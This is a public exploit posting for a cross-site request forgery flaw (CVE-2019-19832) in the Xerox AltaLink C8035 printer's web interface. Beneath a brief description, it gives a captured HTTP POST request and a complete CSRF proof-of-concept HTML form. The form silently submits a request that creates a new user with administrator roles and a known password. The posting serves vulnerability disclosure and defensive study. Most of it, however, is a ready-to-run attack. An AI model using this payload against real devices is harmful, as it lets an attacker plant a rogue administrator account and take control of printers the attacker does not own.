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Xerox AltaLink C8035 Printer Cross Site Request Forgery

Xerox AltaLink C8035 Printer Cross Site Request Forgery
Posted Dec 17, 2019
Authored by Ismail Tasdelen

The Xerox AltaLink C8035 Printer suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2019-19832
SHA-256 | cc80db454061f836a81349ef00cb7c6ae547bdd344558ea813987f9e0a0388b3

Xerox AltaLink C8035 Printer Cross Site Request Forgery

Change Mirror Download
# Exploit Title: Xerox AltaLink C8035 Printer - Cross-Site Request Forgery (Add Admin)
# Date: 2018-12-17
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.xerox.com/
# Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/altalink-c8000-series
# Software : Xerox Printer
# Product Version: AltaLink C8035
# Vulernability Type : Cross-Site Request Forgery (Add Admin)
# Vulenrability : Cross-Site Request Forgery
# CVE : CVE-2019-19832

# Description :

The CSRF vulnerability was discovered in the AltaLink C8035 printer model of Xerox printer hardware.
A request to add users is made in the Device User Database form field. This request is captured by
the proxy. And a CSRF PoC HTML file is prepared. Xerox AltaLink C8035 printers allow CSRF. A request
to add users is made in the Device User Database form field to the xerox.set URI.
(The frmUserName value must have a unique name.)


# HTTP POST Request :

POST /dummypost/xerox.set HTTP/1.1
Host: 158.162.130.37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 707
Origin: https://158.162.130.37
Connection: close
Referer: https://158.162.130.37/properties/authentication/UserEdit.php?nav_point_key=10
Cookie: PHPSESSID=fd93756986787a2e338da8eae1ff2ef4; statusSelected=n1; statusNumNodes=8; CERT_INFO=8738a6169beda5f6cc754db4fc40ad63; propSelected=n59; propHierarchy=00000001000000000000000010010; LastPage=/properties/authentication/UserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp
Upgrade-Insecure-Requests: 1

NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3F&isRoles=True&isPassword=True&isCreate=True&rolesStr=6%2C1%2C2&limited=0&oid=0&minLength=1&maxLength=63&isFriendlyNameDisallowed=TRUE&isUserNameDisallowed=TRUE&isNumberRequired=&CSRFToken=34cd705fa4b7954de314c8fa919c22c0ec771cb264032c058d230df9a0af0fae90ec55326145b35d14daf2696e3d8302bd3aad10f08d4562178e93804098c32a&currentPage=%2Fproperties%2Fauthentication%2FUserEdit.php%3Fnav_point_key%3D10&_fun_function=HTTP_Set_User_Edit_fn&frmFriendlyName=Ismail+Tasdelen&frmUserName=ismailtasdelen&frmNewPassword=Test1234%21&frmRetypePassword=Test1234%21&frmOldPassword=undefined&SaveURL=%2Fproperties%2Fauthentication%2FUserEdit.php%3Fnav_point_key%3D10

# CSRF PoC HTML :

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://158.162.130.37/dummypost/xerox.set" method="POST">
<input type="hidden" name="NextPage" value="/properties/authentication/UserManager.php?" />
<input type="hidden" name="isRoles" value="True" />
<input type="hidden" name="isPassword" value="True" />
<input type="hidden" name="isCreate" value="True" />
<input type="hidden" name="rolesStr" value="6,1,2" />
<input type="hidden" name="limited" value="0" />
<input type="hidden" name="oid" value="0" />
<input type="hidden" name="minLength" value="1" />
<input type="hidden" name="maxLength" value="63" />
<input type="hidden" name="isFriendlyNameDisallowed" value="TRUE" />
<input type="hidden" name="isUserNameDisallowed" value="TRUE" />
<input type="hidden" name="isNumberRequired" value="" />
<input type="hidden" name="CSRFToken" value="34cd705fa4b7954de314c8fa919c22c0ec771cb264032c058d230df9a0af0fae90ec55326145b35d14daf2696e3d8302bd3aad10f08d4562178e93804098c32a" />
<input type="hidden" name="currentPage" value="/properties/authentication/UserEdit.php?nav_point_key=10" />
<input type="hidden" name="_fun_function" value="HTTP_Set_User_Edit_fn" />
<input type="hidden" name="frmFriendlyName" value="Ismail Tasdelen" />
<input type="hidden" name="frmUserName" value="ismailtasdelen" />
<input type="hidden" name="frmNewPassword" value="Test1234!" />
<input type="hidden" name="frmRetypePassword" value="Test1234!" />
<input type="hidden" name="frmOldPassword" value="undefined" />
<input type="hidden" name="SaveURL" value="/properties/authentication/UserEdit.php?nav_point_key=10" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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